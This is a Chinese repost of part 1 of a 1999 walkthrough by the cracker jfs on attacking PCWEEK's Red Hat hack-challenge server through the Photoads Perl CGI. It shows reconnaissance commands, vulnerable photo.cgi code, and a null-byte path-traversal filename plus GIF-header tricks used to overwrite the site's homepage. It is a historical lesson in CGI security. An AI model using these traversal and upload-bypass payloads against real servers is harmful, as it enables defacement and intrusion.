网络通信 频道

CGI的一次典型入侵(1)

这是我以前看过的一篇文章,看后有点收获,头尾可能有些删减~~贴出来大家共享
PCWEEK为本次评测准备的开场白很有趣:

“悬赏一千美金,来攻击我们的服务器

如何对系统的安全进行测试呢?我们首先在两种操作系统上安装类似的应用程序,然后让全世界来攻击。与过去不同的是,本次评测中服务器上运行的是现实世界里的程序,具体说来,是一个为报刊类站点设计的分类广告系统。这个测试不但是对操作系统的考验,同时也是对整体的测试。在NT平台,我们将采用ASP、IIS、MTS和SQLServer 7;在Linux平台上,我们将采用Apache和mod_perl。

游戏规则

所要攻击的目标是securelinux.hackpcweek.com和securent.hackpcweek.com。赢得1000美金礼卷的条件是成功的修改主页,或者取得一个名为top secret的绝密文件。我们拒绝任何人在没有取得成功的情况下,破坏服务器的运行。”

PCWEEK给出了简单的服务器配置清单。针对NT的配置清单很长,完全可以说这种配置是完美的了;而对于RedHat的配置短到了只有20行,每行大都只有三五个单词,可以说一般的用户配置都会接近这个水准。以下是对RedHat的配置清单:

“在磁盘上配置多个分区/usrvartmpvar(原文如此)。
安装RedHat 6.0 ,并且不安装SMTPFTP和NEWS等服务。
安装Photoads (一个第三方软件,由perl写成的CGI,实现用户载入分类广告的功能,详见
http://www.hoffice.com/),
Chmod 777 the photoads directory ,
Chmod 755 cgi-bin ,
Chmod 766 kas_data.pl ,
Chmod 766 adnumber.num ,
Chmod 766 ads_data.pl ,
Chmod 755 all *.cgi files ,

为photoads配置缺省目录,
将上载文件的长度设置为0,
删除不需要的用户 。
Set root password to (to what?)。
在inetd.conf中禁止所有的服务。
以用户nobody来配置并运行 Apache服务器,
禁止SSI(server side includes )。
这种配置实现了security-howto中的建议和apache group的安全提示。”

PCWEEK到底真的实现了security-howto的建议了么?实际是没有的,作为一个系统管理人员,你的责任就是维护系统的运行,其中包括很重要的一点,就是更新有漏洞的软件。而且UNIX是极其灵活的系统,这种软件的更新完全可以自动的由系统来进行。
在如上所述的情况下,PCWEEK就将两台服务器安置在了防火墙后面,并且保留web服务的80号端口,以便访问和攻击。

结果是显而易见的,但对于一个有关操作系统的安全性的测试又是很有
戏剧性的 。首先是在RedHat上安装的第三方软件存在漏洞,使一名叫jfs的cracker得以进入系统;然后jfs他们利用一个已知的系统漏洞(修补程序已经发布一个月左右了)得到了root的权限,并成功的修改了服务器的主页。
以下是jfs对攻击过程的叙述:
“一次实际攻击的解析(攻击PCWEEK服务器)By Jfs
首先,我必须搜集有关要攻击的主机的信息,看一看开放了哪些端口,有哪些端口可能进行攻击。经过一翻检查,我发现大部分的端口不是被防火墙保护着,就是由于tcp wrapper的原因而不能使用,只有HTTP服务器可以下手了。

lemming:~# telnet securelinux.hackpcweek.com 80
Trying 208.184.64.170...
Connected to securelinux.hackpcweek.com.
Escape character is ''^]''.
POST X HTTP/1.0
HTTP/1.1 400 Bad Request
Date: Fri, 24 Sep 1999 23:42:15 GMT
Server: Apache/1.3.6 (Unix) (Red Hat/Linux)
(...)
Connection closed by foreign host.
lemming:~#

好,这是一台运行apache和Red Hat的机器。从PCWEEK的提示得知这台服务器也应该运行mod_perl,但是mod_perl会在服务器上留下一些特征,而这台服务器所发的报头却并没有这些迹象。
Apache 1.3.6并没有附加任何远端的用户可以使用的CGI程序,但我并不知到RedHat是否加了一些进去,所以我试着攻击了一些常见的CGI漏洞
(tect-cgi,wwwboard,count.cgi……)
在试验无效的情况下,我试着找出这个web站点的目录结构,从HTML 页所获得的信息我推断,这个web服务器在DocumentRoot下有如下目录:
/ /cgi-bin
/photoads/
/photoads/cgi-bin

我马上对photoads产生了兴趣,我想这很可能是一个可安装的软件包。经过一翻网上搜索,我终于发现这个photoads是一个由“The Home Office Online”
(www.hoffice.com)发行的商业软件包,售价149美圆,并且允许你使用其原代码(perl),这样你就可以修改它了。我求助于一位朋友,让我看看他的photoads。这使我有机会看到securelinux上所使用的软件的拷贝。
我看了缺省的安装文件,我可以从广告数据库http://securelinux.hackpcweek.com/p>
http://securelinux.hackpcweek.com/photoads/ads_data.pl)中获得所有用户的广告口令。我也试着访问配置文件 /photoads/cg
i-bin/photo_cfg.pl ,但由于服务器的安装设置使我没法达到目的。

我发现,通过脚本/photoads/cgi-bin/env.cgi(类似test-cgi)我可以知道DocumentRoot目录在文件系统中的位置(/home/httpd/html),另外还有一些其他的有用的数据(服务器以什么用户的身份运行的,这次是以nobody来运行的)。所以,我首先试着用SSI(Server side includes )和mod_perl 向HTML中嵌入命令,方法如下:
for SSI
for mod_perl

通过一个perl正则表达式,服务器的脚本过滤掉了大部分输入,几乎没有多少空间可以使用。但我也发现了一个由用户付值量,它在变成HTML代码之前并没有对奇怪的变量值进行检查,这就给我了一个机会可以在HTML代码中嵌入命令,以便服务器端解析。

post.cgi的36行如下:
print "you are trying to post an AD from another URL: $ENV{''HTTP_REFERER''}\n";$ENV{''HTTP_REFERER''}是一个由用户提供的变量
(为了保证正确性,你得了解一些HTTP报头的工作原理),这个变量可以让我们把任何HTML代码加进去,不管代码到底是什么样。

该真正的用getit.ssi和getit.mod-perl(两个小程序,此处略去)工作了

我们采用以下的方法:

lemming:~# cat getit.ssi | nc securelinux.hackpcweek.com 80

但不幸的是这台机器并未配置SSI和mod_perl,我钻进了死胡同。我决定从CGI脚本中找漏洞。perl脚本的漏洞大多出在open()、system()或者 ''''调用中。前者允许读写和执行,而后两个允许执行。程序中并没有后两个情况出现,但的确有几个open()调用:

lemming:~/photoads/cgi-bin# grep ''open.*(.*)'' *cgi | more
advisory.cgi: open (DATA, "$BaseDir/$DataFile");
edit.cgi: open (DATA, ">$BaseDir/$DataFile");
edit.cgi: open(MAIL, "|$mailprog -t") || die "Can''t open $mailprog!\n";photo.cgi: open(ULFD,">$write_file") || die show_upload_failed("$write_file $!");photo.cgi: open ( FILE, $filename );
(...)

对 $BaseDir 和 $DataFile我们动不了什么手脚,因为它们都是在配置文件中定义的,程序运行以后是改变不了的。$mailprog 也是如此但其余的两行值得好好研究photo.cgi 的132行如下:
$write_file = $Upload_Dir.$filename;
open(ULFD,">$write_file") || die show_upload_failed("$write_file $!");print ULFD $UPLOAD{''FILE_CONTENT''};close(ULFD);
如果我们可以修改变量$write_file,那么我们就可以写系统中任何文件了。这个$write_fi
le变量定义如下:
$write_file = $Upload_Dir.$filename;
$Upload_Dir 是由配置文件定义的,我们没法修改,那么$filename呢?

photo.cgi的226行如下:
if( !$UPLOAD{''FILE_NAME''} ) { show_file_not_found(); }
$filename = lc($UPLOAD{''FILE_NAME''});
$filename =~ s/.+\\([^\\]+)$|.+\/([^\/]+)$/\1/;
if ($filename =~ m/gif/)
{$type = ''.gif'';}elsif ($filename =~ m/jpg/)
{$type = ''.jpg'';}else{{&Not_Valid_Image}}
$filename的值来自$UPLOAD{''FILE_NAME''}(是由表格提交给CGI的变量中解析出的)。为了让我们到我们希望到的地方,$filename必须满足一个正则表达式,我们不能简单的发送我们需要的文件名,例如“../../../../../../../../etc/passwd ”就是不行的,它在通过如下的替换后,将什么也得不到:
$filename =~ s/.+\\([^\\]+)$|.+\/([^\/]+)$/\1/;
如果$filename与这个正则表达式相匹配,那么它将变成ASCII码的1(SOH)。除此之外$filename还必须包括“gif”或“jpg”,否则它将无法通过Not_Valid_Image的检查。
在进行了一翻尝试,我终于在Phreck的有关perlCGI的安全的文章的帮助下发现了 /jfs/\../../../../../../../export/www/htdocs/index.html%00.gif 可以让我们提交index.html文件(我们必须修改的主页)。但在上载前,我们还得想办法骗过一些脚本代码。我们发现如果我们以POST的方法发送表格的话,我们就不能蒙混过关(%00将不会被解析),所以我们只能用GET了。
在photo.cgi的256行,我们可以看到一段代码会对我们刚刚上载的文件的的内容进行检查,如果文件不符合特定的图象规格(主要是宽、高和大小),脚本将会删除或改写该文件,这是我们所不希望见到的,至少我们要在服务器上留下一些我们的资料。
(注意,photo.cgi脚本可以用来上载一个由你的广告使用的广告图片。)
PCWEEK在配置文件中将ImageSize设置成0,所以我们不用去管有关JPG的部分,让我们将注意
力集中于GIF部分。
if ( substr ( $filename, -4, 4 ) eq ".gif" )
{open ( FILE, $filename );my $head;my $gHeadFmt = "A6vvb8CC";
my $pictDescFmt = "vvvvb8";read FILE, $head, 13;
(my $GIF8xa, $width, $height, my $resFlags, my $bgColor, my $w2h) = unpack $gHea
dFmt, $head;close FILE;$PhotoWidth = $width;
$PhotoHeight = $height;$PhotoSize = $size;return;}

photo.cgi的140行如下:
if (($PhotoWidth eq "") || ($PhotoWidth > ''700'')) {{&Not_Valid_Image}}
if ($PhotoWidth > $ImgWidth || $PhotoHeight > $ImgHeight)
{{&Height_Width} }

所以我们不得不把$PhotoWidth设置成小于700,不是"",
并且比ImgWidth小(缺省是350)。
所以有$PhotoWidth !="" && $PhotoWidth<350。
对于$PhotoHeight,它必须比$ImgHeight 小(缺省是250)。
所以$PhotoWidth = $PhotoHeight = 0 正好。从脚本中的付值方法来看,
我们只要将该值的第6和9字节置0(NUL)就可以了。

我们保证我们的FILE_CONTENT符合以上的条件,并继续进行下一步了……
chmod 0755, $Upload_Dir.$filename;
$newname = $AdNum;
rename("$write_file", "$Upload_Dir/$newname");
Show_Upload_Success($write_file);

经过以上的代码,我们的文件被重命名或者说移动到了我们不希望的地方了。
查看有关$AdNum变量值的最后代码,我们看到它只能包含阿拉伯数字:
$UPLOAD{''AdNum''} =~ tr/0-9//cd;
$UPLOAD{''Password''} =~ tr/a-zA-Z0-9!+&#%$@*//cd;
$AdNum = $UPLOAD{''AdNum''};
其他的东西都将被去掉,所以我们不能在这儿使用../../../的蒙骗手法了。(未完待序)

文章转载地址:http://www.cnpaf.net/Class/hack/05121820345087732770.htm

0
相关文章